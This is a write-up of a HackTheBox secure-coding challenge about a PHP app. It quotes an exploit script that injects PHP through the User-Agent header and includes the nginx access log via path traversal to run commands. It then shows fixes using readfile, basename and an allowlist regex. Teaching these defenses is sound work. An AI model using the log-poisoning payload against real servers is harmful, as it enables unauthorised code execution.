← Back to Writeups
HTBN/AWeb

Secure Server

XESXOR8/23/20265 min read
#web#htb#n/a

Secure Server

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-02 | Status: Solved Techniques: basename_sanitization, input_validation, lfi_to_rce, log_poisoning

Summary

Task: Fix vulnerabilities in a PHP web application that was exploited via LFI + log poisoning. Solution: Replace include with readfile, add basename() and regex validation to prevent path traversal.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260202_hackthebox_secure_server
  • Tags: rce, lfi, path_traversal, php, log_poisoning, secure_coding
  • Indicators: include with user input, no path validation, nginx access.log, User-Agent injection
  • Source: 20260202_hackthebox_secure_server.md

Foothold

Vulnerability / Misconfiguration

  1. Basename_sanitization
  2. Input_validation
  3. Lfi_to_rce
  4. Log_poisoning
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • basename_sanitization
  • input_validation
  • lfi_to_rce
  • log_poisoning
  • Tags: rce, lfi, path_traversal, php, log_poisoning, secure_coding

Original Writeup

<details><summary>Click to expand original content</summary>

Secure Server — HackTheBox

Description

Bobby made a secure server, but someone got in! How did they get in? Can you stop it from happening again?

This is a "secure coding" challenge where you need to identify and fix vulnerabilities in a PHP web application. The challenge provides:

  • Access to the web application source code via SMB share
  • An exploit script (exploit.py) showing how the attack works
  • A checker service to verify fixes

Analysis

Vulnerability 1: Local File Inclusion (LFI) + Log Poisoning → RCE

The vulnerable code in our-projects.php:

<?php
    $project = "orion";
    if (isset($_GET["project"])) {
        $project = strtolower($_GET["project"]);
    }
?>
...
<p><?php include "../projects/" . $project; ?></p>

Problems identified:

  1. include executes PHP code from included files
  2. No validation on project parameter allows path traversal (../)
  3. Attacker can include any file on the system

Vulnerability 2: Path Traversal

No validation on the project parameter allowed ../ sequences to escape the intended directory and access arbitrary files like /var/log/nginx/access.log.

Attack Chain (from exploit.py)

from requests import get

IP = '127.0.0.1'
payload = 'whoami'
php_payload = f"<?php system('{payload}') ?>"

headers = {
    'User-Agent': php_payload
}

# Step 1: Poison the log with PHP code in User-Agent
get(f'http://{IP}/', headers=headers)

# Step 2: Include the poisoned log via LFI
r = get(f'http://{IP}/our-projects.php?project=../../../../var/log/nginx/access.log')
print(r.text)

Attack flow:

  1. Send request with PHP payload in User-Agent header
  2. Nginx logs the malicious User-Agent to access.log
  3. Use LFI to include access.log
  4. PHP executes the injected code → RCE

Solution

Fix 1: Replace include with readfile

Changed from include (which executes PHP code) to readfile (which only outputs file contents as text):

// Before (vulnerable):
<p><?php include "../projects/" . $project; ?></p>

// After (fixed):
<p><?php readfile("../projects/" . $project); ?></p>

Why this works: readfile() outputs file contents as raw text without parsing PHP tags, preventing code execution even if malicious content is included.

Fix 2: Input Validation with basename() and regex

Added strict validation to prevent path traversal:

<?php
    // default to Orion
    $project = "orion";

    if (isset($_GET["project"])) {
        // Get basename first to strip any path components
        $requested = basename($_GET["project"]);
        // Convert to lowercase
        $requested = strtolower($requested);
        // Only allow alphanumeric characters, hyphens and underscores
        if (preg_match('/^[a-z0-9_-]+$/', $requested)) {
            $project = $requested;
        }
    }
?>

Defense layers:

  1. basename() - strips directory components (../../../../etc/passwdpasswd)
  2. strtolower() - normalizes input
  3. preg_match('/^[a-z0-9_-]+$/') - whitelist only safe characters

Fix 3: XSS Protection (bonus)

Added htmlspecialchars for output to prevent reflected XSS:

<h1><?php echo htmlspecialchars(ucfirst($project)); ?></h1>

Complete Fixed Code

<?php
    // default to Orion
    $project = "orion";

    $allProjects = ["orion", "ares", "ceres"];

    if (isset($_GET["project"])) {
        // Get basename first to strip any path components
        $requested = basename($_GET["project"]);
        // Convert to lowercase
        $requested = strtolower($requested);
        // Only allow alphanumeric characters, hyphens and underscores
        if (preg_match('/^[a-z0-9_-]+$/', $requested)) {
            $project = $requested;
        }
    }
?>
<!-- ... HTML ... -->
<h1><?php echo htmlspecialchars(ucfirst($project)); ?></h1>
<p><?php readfile("../projects/" . $project); ?></p>

Defense (Best Practices)

  1. Never use include/require with user input - use readfile() or file_get_contents() instead
  2. Always validate and sanitize user input with allowlists (regex, basename)
  3. Defense in depth - multiple layers of validation
  4. Use htmlspecialchars() for all output to prevent XSS

Tools

  • Docker - for running the challenge environment
  • smbclient - for accessing files via SMB share
  • curl - for testing the exploit and fixes
  • netcat - for interacting with the checker service
  • Python3 - for automation (smb_edit.py)

Notes

The challenge required maintaining functionality (dynamic file reading) while removing the security vulnerabilities. Simply restricting to a whitelist of projects wasn't acceptable - the checker tested with random project names, so the fix needed to allow arbitrary (but safe) filenames.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR